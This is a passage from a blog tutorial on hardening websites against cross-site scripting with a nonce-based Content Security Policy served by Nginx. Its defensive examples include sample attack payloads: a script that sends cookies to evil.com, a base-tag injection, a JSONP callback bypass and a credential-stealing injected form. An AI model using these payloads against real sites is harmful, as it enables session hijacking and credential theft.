# Content Security Policy (CSP) with Nginx: The Complete Guide

> One post from jmrp.io, published as its own document. Index: https://jmrp.io/llms-full.txt

> Generated: 2026-08-31

URL: https://jmrp.io/blog/003-implementing-content-security-policy-nginx/
Language: en
Alternate: https://jmrp.io/es/blog/003-implementing-content-security-policy-nginx/index.md
License: https://creativecommons.org/licenses/by/4.0/
Type: TechArticle
Published: 2025-12-19
Updated: 2026-08-27
Last verified: 2026-08-01 · nginx 1.31.2
Summary: Master Content Security Policy from zero to A+ — nonces, hashes, strict-dynamic, Trusted Types, bypass prevention, and production Nginx configs.
Tags: Nginx, Security, Cryptography
Topics: Content Security Policy (Q1128636), Nginx (Q306144), Cross-site scripting (Q371199), Cryptographic nonce (Q1749235), Clickjacking (Q163231), Web application security (Q1509541)

Questions answered:

**What is the simplest CSP to start with on Nginx?**

Add the single header `add_header Content-Security-Policy "default-src 'self'" always;` to your server block. This tells the browser to only allow resources from your exact origin (same scheme, host, and port), immediately blocking external scripts, inline scripts, and inline styles.

**Why are nonces better than domain allowlists for CSP?**

Google research bypassed 94.72% of all distinct CSP policies, and 75.81% of them rely on script allowlists an attacker can bypass, because trusted CDNs often host JSONP endpoints, open redirects, or script gadgets that attackers abuse. Nonces are cryptographically random per-request tokens that an attacker cannot guess, so they provide real XSS protection regardless of which libraries are loaded.

**How can static sites use nonces if HTML is built ahead of time?**

Put a placeholder like `CSP_NONCE_NGINX` in your templates at build time, then have Nginx generate a unique nonce per request with `set $cspNonce $request_id;` and replace the placeholder using `sub_filter`. The same `$cspNonce` value goes into the CSP header, so the nonce in the HTML and the header always match.

**What does 'strict-dynamic' do in a CSP?**

`'strict-dynamic'` lets scripts loaded by an already-trusted script also execute without needing their own nonce, so trust propagates down the chain. When it is present, allowlist sources like `'self'` or specific domains are ignored for script loading—only nonces and hashes grant initial trust.

**Which directives are required for a strict CSP?**

A strict CSP uses nonces or hashes instead of domain allowlists, includes `'strict-dynamic'` for dynamic script loading, sets `object-src 'none'` to block plugins, and sets `base-uri 'none'` to prevent base tag injection.

**How should I deploy CSP safely without breaking my site?**

Never deploy strict CSP directly to production. First run it in `Content-Security-Policy-Report-Only` mode for one to two weeks to log violations without blocking, fix issues like inline event handlers and `eval()` calls, then switch to enforcement gradually.


Steps (Implement a strict Content Security Policy on Nginx):
1. Add a starter CSP header
2. Test and reload Nginx
3. Build a baseline Level 6 policy
4. Inject per-request nonces for inline scripts
5. Go strict with nonces and strict-dynamic
6. Deploy in report-only mode
7. Analyze and fix violations
8. Enable enforcement

---

**Cross-Site Scripting (XSS)** remains one of the most devastating web vulnerabilities. In the [OWASP Top 10 2021](https://owasp.org/Top10/2021/A03_2021-Injection/) it sits inside **A03: Injection** as CWE-79 — a category with 33 mapped CWEs, 274,228 recorded occurrences and a maximum incidence rate of **19.09%** across the applications tested. According to [Google's security research](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/), even websites with CSP often fail to implement it correctly — Google found bypasses in **94.72% of all distinct policies**, and **75.81%** rely on script allowlists an attacker can bypass.

**Content Security Policy (CSP)** is your browser-level defense against these attacks. Think of it as a strict "guest list" for your website—you explicitly tell the browser which resources (scripts, styles, images) are allowed to execute. Anything not on the list gets blocked, even if an attacker manages to inject malicious code.

This guide takes you from zero to a production-ready, **A+ rated** CSP configuration. You'll learn not just the "how" but the "why" behind each directive, understand modern bypass techniques and how to prevent them, and discover advanced topics like Trusted Types for DOM-based XSS prevention.

## TL;DR — a nonce-based CSP on Nginx

- **Allowlists do not hold.** Google found bypasses in **94.72% of all distinct CSP policies**, and **75.81%** rely specifically on script allowlists an attacker can bypass — because trusted CDNs host JSONP endpoints and outdated libraries that turn an allowed origin into an execution path.
- **A nonce is per-request and unguessable**, so an injected `<script>` carries no valid token and is refused — which is what an allowlist cannot promise. It is not a blanket guarantee: `strict-dynamic` still lets an already-trusted script load more, a leaked nonce is a valid nonce, and DOM sinks need Trusted Types (below).
- **A static site can still use nonces.** Nginx generates one per request and `sub_filter` substitutes the placeholder in the response body, so no application server is involved. That is exactly how this page is served.
- **`strict-dynamic` propagates trust** from a nonced script to whatever it loads, which is what makes the policy survive bundlers and dynamic imports without reopening the allowlist.
- **`object-src 'none'` and `base-uri 'none'` are not optional** — without them a strict policy is still bypassable through plugin content and `<base>` injection.
- **Trusted Types (CSP Level 3) closes the DOM sink**, the class of XSS that a script-source policy cannot reach on its own.
- **The measured result at the time of writing:** an **A+ on Mozilla Observatory with a score of 140 and all 10 tests passed**, reached by running `Content-Security-Policy-Report-Only` with a `report-uri` for one to two weeks before enforcing.

**Before You Start**

- A web server running **Nginx 1.11.0+** (for `$request_id` variable) or **Nginx 1.25.1+** (for `http2 on;` directive)
- Basic understanding of HTTP headers
- Access to your Nginx configuration files
- A website to protect (static or dynamic)

---

## How I run this on my own infrastructure

This isn't a hypothetical — jmrp.io itself is the reference implementation for everything above. Production Nginx sets `set $cspNonce $request_id;` and rewrites the placeholder with `sub_filter NGINX_CSP_NONCE $cspNonce;`, so every response carries a fresh nonce tied to that request. The header this site actually serves is nonce-based: `default-src 'none'`, `script-src 'self' 'nonce-…' 'strict-dynamic'`, `style-src 'self' 'nonce-…'`, plus `frame-ancestors 'none'`, `base-uri 'none'`, and `report-uri /csp-report`. The `'self'` in there is a same-origin fallback for browsers that don't support `strict-dynamic`; where it is supported the browser ignores `'self'` and the nonce is the only thing that grants execution. Zero `unsafe-inline`, zero third-party domain allowlists to maintain.

Violations don't disappear into a log nobody reads: I run my own receiver (`scripts/csp-reporter.mjs`) that surfaces them as they happen, instead of relying on a third party to tell me what's breaking.

Measured against the current Mozilla Observatory API (v5), this configuration earns an **A+ rating: a score of 140, with all 10 tests passing and zero failures**. That's the number as of writing — not the 145 you might see referenced elsewhere on this site from a December 2025 commit. That older total included a 5-point bonus Observatory grants for serving cookies with `Secure`/`HttpOnly`/`SameSite`; those cookies were two placeholder values that did nothing useful, and removing them — so this site's `/privacy/` page can honestly claim no response ever sets `Set-Cookie` — cost 5 cosmetic points on a policy that already fails nothing. That trade was obviously worth it.

### What the violation reports actually contain

That receiver averages around twenty reports a day, and the average is the least useful number in the set: most days bring a handful, and an occasional day brings hundreds. What matters is the composition, and it has been stable for as long as I have been reading them. The overwhelming majority are crawlers. Nearly all of the rest are browser extensions and antivirus software injecting scripts and styles into someone else's page. **Not one has ever turned out to be a defect in this site.**

The blocked-`eval` reports are the clearest case, because they are trivially falsifiable: no JavaScript file this site serves contains `eval(` or `new Function(` — after a production build, the only occurrences of that literal anywhere in the output are in the prose of this very post. They arrive in bursts from a single address and a single user-agent, which is one visitor with something injecting code into their browser, not a policy that is too tight.

That is the honest return on a `report-uri`: it mostly tells you what other people's software is doing to your pages. It has never once told me my own policy was wrong — which does not make it useless, because it made me read my own receiver closely enough to find the bug below.

### The bug this audit found in my own reporter

That composition is only trustworthy because sitting down to check it turned up a parsing bug in the receiver itself.

On 22 August I added a `report-to` endpoint alongside the legacy `report-uri`. The two APIs disagree on shape: the legacy one POSTs a single `{"csp-report": {…}}` object with kebab-case field names, while the Reporting API sends `{type, url, body: {…}}` envelopes with camelCase ones. A `normalizeReports()` function exists to map the second onto the first — and it did, but only when the payload arrived as an array.

**scripts/csp-reporter.mjs — the bug**

```javascript
function normalizeReports(parsed) {
  // A bare envelope is not an array, so it escaped on this line
  // and reached the filters with every kebab-case field undefined.
  if (!Array.isArray(parsed)) return [parsed];
  return parsed.map(/* camelCase → kebab-case */);
}
```

A browser that POSTs one bare envelope instead of an array of one fell straight through that first line. The report arrived at the filters with no directive, no blocked URI and no source file — nothing to match on — so nothing was discarded, all of it was logged as unclassifiable, and four of those empty reports made it past the rate limiter and onto my phone as Telegram alerts with a blank violation inside.

Ten reports arrived that way between 22 and 26 August. Decoded by hand they are entirely ordinary: six carry a `safari-web-extension://…` or `safari-extension://…` source file, and the other four are inline `<style>` elements the browser attributes to the document itself. Both categories were already covered by the discard filters; the filters just never got to see the fields. The fix is to accept a bare envelope as well as an array of them.

The shape of the mistake is what makes it worth writing down. A claim that none of these reports is a real defect, resting partly on reports nobody could read, is not a claim at all — and I had no way of knowing which it was until I decoded them by hand.

**Key point — A report you cannot parse is worse than one you never received**

It still costs you an alert, and it looks like signal. If you bolt a `report-to`
endpoint onto an existing `report-uri` receiver, test a single bare envelope
first — not the array the spec examples show you.

---

## Why did CSP move from allowlists to nonces?

Content Security Policy has evolved significantly since its introduction. Understanding this evolution helps you appreciate why modern "strict CSP" approaches exist.

- **2010 — X-Content-Security-Policy**: Mozilla introduces the first CSP implementation as an experimental header. [Mozilla Security Blog](https://blog.mozilla.org/security/2009/06/19/shutting-down-xss-with-content-security-policy/)
- **2012 — CSP Level 1**: W3C standardizes CSP with basic fetch directives (script-src, style-src, etc.). [W3C CSP 1.0 Spec](https://www.w3.org/TR/CSP1/)
- **2016 — CSP Level 2**: Introduces nonces, hashes, and frame-ancestors. 'unsafe-inline' can be overridden by nonces. [W3C CSP Level 2](https://www.w3.org/TR/CSP2/)
- **2016 — Google Research**: Google publishes 'CSP Is Dead, Long Live CSP' showing bypasses in 94.72% of all distinct policies, 75.81% of them using bypassable script allowlists. [Research Paper](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/)
- **2018 — strict-dynamic**: New keyword allows trusted scripts to load dependencies without explicit allowlisting. [MDN strict-dynamic](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src#strict-dynamic)
- **2023+ — CSP Level 3 (Working Draft)**: Introduces Trusted Types, report-to, and improved WebAssembly support. [W3C CSP Level 3](https://www.w3.org/TR/CSP3/)
- **2024+ — Trusted Types Adoption**: Browser support matures; enterprises begin adopting for DOM-XSS prevention. [web.dev Trusted Types](https://web.dev/articles/trusted-types)

---

## Your First CSP in 5 Minutes

Let's get a working CSP right now. Open your Nginx configuration and add this single header:

**File: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    server_name example.com;
    
    # Your first CSP - allow resources only from your own domain
    add_header Content-Security-Policy "default-src 'self'" always;
    
    # ... rest of your config
}
```

Test your configuration and reload Nginx:

```bash
sudo nginx -t && sudo systemctl reload nginx
```

**That's it!** You now have a working CSP. Open your browser's DevTools (F12 → Console) to see any violations:

**Output — Browser Console**

```text
Refused to load the script 'https://cdn.example.com/analytics.js' because it 
violates the following Content Security Policy directive: "default-src 'self'".
```

**Key point**

**What just happened?**

`default-src 'self'` tells the browser: "Only allow resources from this exact origin (same scheme, host, and port)." This immediately blocks:

- External scripts (CDNs, analytics, tracking)
- Inline scripts (`<script>alert('xss')</script>`)
- Inline styles (`style="..."`)
- External images, fonts, and frames

This is intentionally restrictive—we'll selectively relax it next.

---

## What does a CSP allowlist actually allow?

CSP works by defining **what's allowed**, not what's blocked. Think of it as a VIP list at an exclusive event—only resources on the list get in.

**CSP acts as a gatekeeper for all browser resources**

```mermaid
flowchart LR
    subgraph Browser["Browser"]
        CSP["CSP Policy"]:::cspPolicy
    end
    
    A["Your scripts\n(self)"]:::cspTrusted --> CSP
    B["CDN scripts\n(external)"] --> CSP
    C["Inline scripts\n(<script>...</script>)"] --> CSP
    D["Injected XSS\nscripts"]:::attacker --> CSP
    
    CSP -->|"✓ Allowed"| E["Execute"]:::cspTrusted
    CSP -->|"✗ Blocked"| F["Reject"]:::cspBlocked
```

### Why CSP Matters: The Defense-in-Depth Principle

Without CSP, if an attacker injects `<script>stealCookies()</script>` into your page (via a comment form, URL parameter, or database), the browser happily executes it—there's no way to distinguish legitimate scripts from malicious ones.

With CSP, the browser checks every resource against your policy **before** execution. If inline scripts aren't explicitly allowed, the attack is neutralized at the browser level.

**Key point**

**CSP is a second line of defense.**

CSP doesn't prevent injection from happening—you should still sanitize user input and use parameterized queries. But when input validation fails (and it will eventually), CSP catches the attack at the browser level, preventing execution.

---

## How XSS Attacks Work (and How CSP Stops Them)

To understand CSP's value, let's trace a typical XSS attack:

**XSS attack flow without CSP protection**

```mermaid
sequenceDiagram
    participant Attacker
    participant Website as Your Website
    participant Victim as Victim's Browser
    participant Evil as Attacker's Server
    
    Attacker->>Website: Submit malicious comment<br/>containing script tag
    Note over Website: Comment stored in database<br/>(no sanitization)
    
    Victim->>Website: Visit page with comments
    Website->>Victim: HTML with injected script
    Note over Victim: Browser sees <script> tag<br/>and executes it
    Victim->>Evil: Script sends cookies/session<br/>tokens to attacker
    Note over Evil: Attacker now has<br/>victim's session
```

### Step-by-Step Breakdown

1. **Injection**: Attacker submits a comment containing:
   ```html
   <script>fetch('https://evil.com?c='+document.cookie)</script>
   ```

2. **Storage**: The website stores this in the database without proper sanitization

3. **Delivery**: When another user views the page, the malicious script is served as part of the HTML

4. **Execution**: The browser sees a `<script>` tag and executes it—no questions asked

5. **Exfiltration**: The script sends session cookies to the attacker's server

### How CSP Breaks the Chain

**With CSP (`script-src 'self'`)**, step 4 fails. The browser checks: "Is this an inline script? Is `'unsafe-inline'` allowed?" Since inline scripts are blocked by default, the attack is neutralized:

**Output — Browser Console with CSP**

```text
Refused to execute inline script because it violates the following 
Content Security Policy directive: "script-src 'self'". Either the 
'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') 
is required to enable inline execution.
```

---

## Attack Vectors CSP Prevents

CSP addresses multiple threat categories. Here's how different directives create defense-in-depth:

**Common Threats Mitigated by CSP**

| Threat | Attack Vector | CSP Defense |
| --- | --- | --- |
| **Reflected XSS** | Scripts injected via URL parameters | `script-src` without `'unsafe-inline'` |
| **Stored XSS** | Scripts injected via database content | `script-src` with nonces/hashes |
| **DOM-based XSS** | `eval()`, `innerHTML` abuse | `script-src` without `'unsafe-eval'` + Trusted Types |
| **Data exfiltration** | XHR/fetch to attacker servers | `connect-src 'self'` |
| **Clickjacking** | Site framed by malicious page | `frame-ancestors 'none'` |
| **Mixed content** | HTTP resources on HTTPS pages | `upgrade-insecure-requests` |
| **Plugin attacks** | Flash, Java, PDF exploits | `object-src 'none'` |
| **Form hijacking** | Injected forms to steal credentials | `form-action 'self'` |
| **Base tag injection** | Redirecting relative URLs to attacker | `base-uri 'none'` |

---

## CSP Directives: Learn by Doing

Instead of memorizing tables, let's learn each directive by adding it to our policy progressively.

### 1. `default-src`: The Fallback

This is the catch-all directive. If you don't specify a directive for a resource type, `default-src` applies.

**`default-src`** — CSP Level 1

- Syntax: `default-src <source-list>`
- Default: `* (allow all)`
- [MDN reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/default-src)

Fallback for all unspecified fetch directives. Set this restrictively and add specific directives as needed.

**Best practice:** Set `default-src 'none'` and explicitly allow what you need. This is the "deny by default" approach that security professionals recommend.

**default-src directive**

```nginx
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';
```

### 2. `script-src`: The Most Critical Directive

This controls which scripts can execute on your page. Get this wrong and your entire CSP is effectively useless.

**`script-src`** — CSP Level 1

- Syntax: `script-src <source-list>`
- Default: `Falls back to default-src`
- [MDN reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src)

Specifies valid sources for JavaScript. This is the most important directive for XSS protection.

**script-src Source Values**

| Value | Meaning | Security |
| --- | --- | --- |
| `'self'` | Same origin only (scheme + host + port) | Safe [good] |
| `'none'` | Block all scripts entirely | Maximum [good] |
| `'nonce-{random}'` | Allow scripts with matching nonce attribute | Recommended [good] |
| `'sha256-{hash}'` | Allow scripts with matching content hash | Strong [good] |
| `'strict-dynamic'` | Trust propagates to dynamically loaded scripts | Strong [good] |
| `https://cdn.example.com` | Allow scripts from specific domain | Weak (bypassable) [caution] |
| `'unsafe-inline'` | Allow all inline scripts | Dangerous [bad] |
| `'unsafe-eval'` | Allow `eval()`, `Function()`, etc. | Dangerous [bad] |

**Warning**

**Never use `'unsafe-inline'` for scripts in production.** It allows attackers to execute any injected inline script—the exact attack CSP is meant to prevent. If you see this in your policy, your CSP provides essentially zero XSS protection.

**Info**

**CSP Level 3 granular directives:** Modern browsers report violations using more specific directives like `script-src-elem` (for `<script>` elements) and `script-src-attr` (for inline event handlers like `onclick`). These fall back to `script-src`, so you don't need to set them separately unless you want different rules for each.

### 3. `style-src`: CSS Control

**`style-src`** — CSP Level 1

- Syntax: `style-src <source-list>`
- Default: `Falls back to default-src`
- [MDN reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src)

Specifies valid sources for stylesheets. Less critical than script-src but still important for comprehensive protection.

**style-src with unsafe-inline**

```nginx
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';
```

**Info**

**Why `'unsafe-inline'` for styles is often acceptable:**

Unlike scripts, inline styles have a much smaller attack surface. Many CSS-in-JS libraries and frameworks require inline styles for hydration. While you *can* use nonces/hashes for styles too, the security benefit is smaller compared to the implementation complexity.

### 4. Resource Directives

**Option 1/5 — img-src**

```nginx
# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;
```

`data:` is often needed for base64-encoded images, SVG icons, or placeholder images.

**Option 2/5 — font-src**

```nginx
# Allow fonts from same origin only
font-src 'self';

# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;
```

**Option 3/5 — connect-src**

```nginx
# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;
```

This controls where JavaScript can send data. Critical for preventing stolen data from being sent to attacker servers.

**Option 4/5 — media-src**

```nginx
# Audio and video sources
media-src 'self';
```

**Option 5/5 — worker-src**

```nginx
# Web Workers and Service Workers
worker-src 'self';

# For sites using blob: URLs for workers
worker-src 'self' blob:;
```

Controls sources for `Worker`, `SharedWorker`, and `ServiceWorker` scripts. If not specified, falls back to `script-src`.

### 5. Security Hardening Directives

These are often overlooked but are **required for strict CSP**:

#### `object-src 'none'` — Block Plugins

Plugins like Flash and Java have historically been major vulnerability vectors. Although Flash is deprecated, blocking `object-src` prevents any plugin-based attacks:

**object-src directive**

```nginx
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';
```

**Key point**

**Required for strict CSP.** Without `object-src 'none'`, attackers could potentially use plugin vulnerabilities to bypass your script restrictions.

#### `base-uri 'none'` — Prevent Base Tag Injection

The `<base>` tag defines a base URL for all relative URLs in a document. If an attacker injects a `<base>` tag, they can redirect all your relative URLs to their server:

**Comparison: Attack Without base-uri vs With base-uri 'none'**

**Attack Without base-uri**

```html
<!-- Attacker injects this -->
<base href="https://evil.com/">

<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->
```

**With base-uri 'none'**

```http
Content-Security-Policy: base-uri 'none'

<!-- Injection attempt blocked! -->
Refused to set the document's base URI to 
'https://evil.com/' because it violates CSP.
```

#### `frame-ancestors 'none'` — Clickjacking Protection

Prevents your site from being embedded in iframes on other sites:

**frame-ancestors directive**

```nginx
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';

# Or allow embedding only on your own domain
frame-ancestors 'self';
```

**Tip**

`frame-ancestors` is more flexible than the older `X-Frame-Options` header and should be preferred. However, for maximum browser compatibility, you can set both.

#### `form-action 'self'` — Control Form Submissions

Prevents attackers from injecting forms that submit data to their servers:

**form-action directive**

```nginx
# Forms can only submit to your own domain
form-action 'self';
```

---

## Building Your CSP Layer by Layer

Rather than writing a perfect CSP in one go (which leads to frustration), let's build progressively. Each layer adds protection, and you can stop at any level based on your needs.

**CSP Security Levels**

| Level | Policy Addition | Protection Added |
| --- | --- | --- |
| **0** | No CSP | None—wide open to XSS [bad] |
| **1** | `default-src 'none'` | Blocks everything by default |
| **2** | `+ script-src 'self'` | Only your scripts run |
| **3** | `+ style-src, img-src, font-src` | Controls visual resources |
| **4** | `+ connect-src 'self'; object-src 'none'` | Limits data exfiltration, blocks plugins |
| **5** | `+ base-uri 'none'; frame-ancestors 'none'` | Prevents injection & clickjacking |
| **6** | `+ form-action 'self'; upgrade-insecure-requests` | Full baseline protection [good] |

### Level 6: A Solid Baseline CSP

Here's what Level 6 looks like in practice:

**File: `/etc/nginx/sites-available/example.com`**

```nginx
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" always;
```

**Success**

**Checkpoint:** This CSP protects against most XSS attacks, limits data exfiltration, prevents clickjacking, and closes plugin-based attack vectors.

**However**, there's one significant limitation—inline scripts are blocked. If your site uses inline JavaScript (theme detection, analytics, hydration), it won't work. The next section solves this.

---

## The Inline Script Challenge

Most websites have inline scripts like this:

**Common inline script**

```html
<script>
  // Theme detection - runs before page renders
  const theme = localStorage.getItem('theme') || 'system';
  document.documentElement.classList.add(theme);
</script>
```

With `script-src 'self'`, this is blocked. You have **three solutions**:

**Inline Script Solutions Comparison**

| Solution | Best For | Pros | Cons |
| --- | --- | --- | --- |
| **External Files** | Simple cases | No nonces/hashes needed; cacheable [good] | Extra HTTP request; can't run before render [caution] |
| **Hashes** | Static scripts | Works for static content; no server changes [good] | Must regenerate on any script change [caution] |
| **Nonces** ⭐ | All cases | Most flexible; Google-recommended [good] | Requires server-side nonce (Nginx trick for static sites) [caution] |

### Solution 1: Move to External Files

The cleanest approach—move inline code to `.js` files:

**Comparison: Inline (blocked by CSP) vs External (allowed)**

**Inline (blocked by CSP)**

```html
<head>
  <script>
    initTheme();
  </script>
</head>
```

**External (allowed)**

```html
<head>
  <script src="/js/theme.js"></script>
</head>
```

### Solution 2: Use Hashes

Generate a SHA-256 hash of your script content and add it to your CSP. You can compute it right in your browser with the [Hash Calculator](/tools/hash-calculator/) — paste the exact script content and copy the `sha256-…` value into your policy.

**Tip**

**How to get the hash from browser:** When CSP blocks a script, the browser console shows the required hash:

> Either the 'unsafe-inline' keyword, a hash ('sha256-RFWPLDbv2BY...'), or a nonce is required.

Copy that hash directly into your CSP.

**Limitation:** You must regenerate the hash whenever the script content changes—even adding a space will invalidate it.

### Solution 3: Use Nonces

Add a random token to both the CSP header and your script tags:

**Option 1/2 — CSP Header**

```nginx
Content-Security-Policy: 
  script-src 'self' 'nonce-abc123def456';
```

**Option 2/2 — HTML**

```html
<script nonce="abc123def456">
  const theme = localStorage.getItem('theme');
  document.documentElement.classList.add(theme);
</script>
```

**Critical:** The nonce must be:

- **Cryptographically random** (at least 128 bits / 16 bytes)
- **Unique per request** (never reuse nonces)
- **Encoded** (base64 or hex — Nginx's `$request_id` uses hex, which is valid per CSP spec)

---

## Nonces for Static Sites: The Nginx Trick

Here's the challenge: Static Site Generators (Astro, Next.js, Hugo) build HTML at **build time**. But nonces must be unique per **request**. How can static HTML contain dynamic nonces?

### The Solution: Placeholder Substitution

**Nginx nonce injection for static sites**

```mermaid
sequenceDiagram
    participant Build as Build Time
    participant Disk as HTML on Disk
    participant Nginx
    participant Browser
    
    Build->>Disk: HTML with placeholder<br/>nonce="CSP_NONCE_NGINX"
    Note over Disk: Placeholder stored
    
    Browser->>Nginx: GET /page.html
    Nginx->>Nginx: Generate unique nonce<br/>($request_id)
    Nginx->>Nginx: Replace placeholder<br/>with real nonce
    Nginx->>Browser: HTML + CSP header<br/>with matching nonce
    Note over Browser: Nonces match ✓<br/>Script executes
```

### Step 1: Use Placeholders in Your Templates

In your templates, use a placeholder that Nginx will replace:

**File: `src/layouts/BaseLayout.astro`**

```astro
---
// Layout component
---
<html>
  <head>
    <!-- Nginx will replace this placeholder -->
    <script is:inline nonce="CSP_NONCE_NGINX">
      const theme = localStorage.getItem('theme') || 'system';
      document.documentElement.dataset.theme = theme;
    </script>
  </head>
  <body>
    <slot />
  </body>
</html>
```

### Step 2: Configure Nginx

**File: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    server_name example.com;
    
    # ================================================
    # STEP 1: Generate unique nonce per request
    # ================================================
    # $request_id = 32-char hex string (128 bits entropy)
    set $cspNonce $request_id;

    # ================================================
    # STEP 2: Replace placeholder with real nonce
    # ================================================
    # NOTE: sub_filter requires uncompressed responses.
    # For proxied backends, add: proxy_set_header Accept-Encoding "";
    # For static files, ensure gzip is disabled or applied after sub_filter.
    sub_filter_once off;  # Replace ALL occurrences
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;

    # ================================================
    # STEP 3: Set CSP header with same nonce
    # ================================================
    add_header Content-Security-Policy "
        default-src 'none';
        script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
        style-src 'self' 'nonce-$cspNonce';
        img-src 'self' data:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'none';
        frame-ancestors 'none';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # ... rest of config
}
```

**Info**

**Why `$request_id` is cryptographically safe:**

Nginx's `$request_id` provides:

- **128 bits** of entropy (32 hexadecimal characters)
- **Unique per request** — freshly generated each time
- **Unpredictable** — derived from system randomness

This exceeds CSP's recommended minimum entropy for nonces.

### What the Browser Sees

**Option 1/3 — 1. On Disk**

```html
<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
  const theme = localStorage.getItem('theme');
</script>
```

**Option 2/3 — 2. HTTP Header**

```http
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...
```

**Option 3/3 — 3. HTML Received**

```html
<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
  const theme = localStorage.getItem('theme');
</script>
```

---

## Going Strict with `'strict-dynamic'`

The `'strict-dynamic'` keyword is a game-changer: it allows scripts loaded by trusted scripts to also execute, without needing their own nonces.

**Trust propagation with strict-dynamic**

```mermaid
flowchart TB
    subgraph CSP["CSP Policy"]
        direction TB
        N["Nonce in header<br/>'nonce-abc123'"]:::nonce
    end
    
    subgraph Trusted["Trust Chain (Allowed)"]
        direction LR
        A["Script with<br/>nonce=abc123"]:::cspTrusted
        B["createElement('script')<br/>(no nonce needed)"]:::cspTrusted
        C["Dynamically loaded<br/>library.js"]:::cspTrusted
        A -->|"Creates"| B
        B -->|"Loads"| C
    end
    
    subgraph Blocked["No Trust (Blocked)"]
        direction LR
        D["Injected XSS<br/>script tag"]:::attacker
        E["Event handler<br/>onclick=..."]:::attacker
    end
    
    N -->|"Validates"| A
    D -->|"No match"| X["Blocked"]:::cspBlocked
    E -->|"No match"| X
```

### How It Works

**Trust propagation example**

```html
<!-- This script has a valid nonce -->
<script nonce="abc123">
  // This dynamically created script ALSO runs
  // because it inherits trust from the parent
  const script = document.createElement('script');
  script.src = 'https://cdn.example.com/analytics.js';
  document.head.appendChild(script);
</script>
```

**Warning**

**Important behavior:** When `'strict-dynamic'` is present, allowlist sources like `'self'` or `https://example.com` are **ignored** for script loading. Only nonces/hashes grant initial trust—dynamically loaded scripts inherit it.

This is by design and actually increases security.

### When to Use `'strict-dynamic'`

**strict-dynamic Use Cases**

| Scenario | Use strict-dynamic? | Reason |
| --- | --- | --- |
| SPA with code splitting | **Yes** [good] | Webpack/Vite load chunks dynamically |
| Analytics (GA, Segment) | **Yes** [good] | Analytics scripts often load additional scripts |
| Third-party widgets | **Yes** [good] | Chat widgets, embeds load their own dependencies |
| Simple static site | Optional [caution] | If all scripts are in HTML, nonces alone suffice |
| No JavaScript at all | No [bad] | Use `script-src 'none'` instead |

---

## The Strict CSP Formula

Based on [Google's research](https://web.dev/articles/strict-csp), a "strict CSP" that actually protects against XSS requires these elements:

**Strict CSP Requirements**

- Uses **nonces** or **hashes** instead of domain allowlists
- Includes **`'strict-dynamic'`** for dynamic script loading
- Sets **`object-src 'none'`** to block plugins
- Sets **`base-uri 'none'`** to prevent base tag injection

**Info**

**Browser Support:** `strict-dynamic` is fully supported in all modern browsers (Chrome 52+, Firefox 52+, Safari 15.4+, Edge 79+).

### The Template

**Strict CSP template**

```nginx
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';
```

### Why Allowlists Don't Work

**Warning**

**94.72% of allowlist CSPs can be bypassed** ([Google Research, 2016](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/))

Analysis of the 15 most commonly whitelisted domains found that **14 of them** contain unsafe endpoints that attackers can abuse.

Common bypass vectors include:

- **JSONP endpoints** on trusted CDNs
- **Open redirects** on allowed domains  
- **AngularJS** template injection on allowed origins
- **User-uploaded content** served from allowed domains

---

## Interactive: Build Your CSP

Use the interactive [CSP Policy Builder](/tools/csp-builder/) to construct a policy directive by directive and see its security rating in real time — it flags unsafe sources and generates the matching Nginx `add_header` line for you.

---

## CSP Bypass Techniques and Prevention

Understanding how attackers bypass CSP helps you avoid common pitfalls.

### 1. JSONP Endpoints

JSONP endpoints execute user-controlled callbacks, making them a classic bypass vector:

**Comparison: Vulnerable vs Protected**

**Vulnerable**

```nginx
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;
```

```html
<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script>
```

**Protected**

```nginx
# Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';
```

```html
<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->
```

### 2. Form Hijacking

Attackers can inject forms to steal credentials if `form-action` isn't set:

**Form hijacking attack**

```html
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
  <!-- Your existing input fields get captured -->
</form>

<!-- Without form-action, the browser allows submission to evil.com! -->
```

**Prevention:**

```nginx
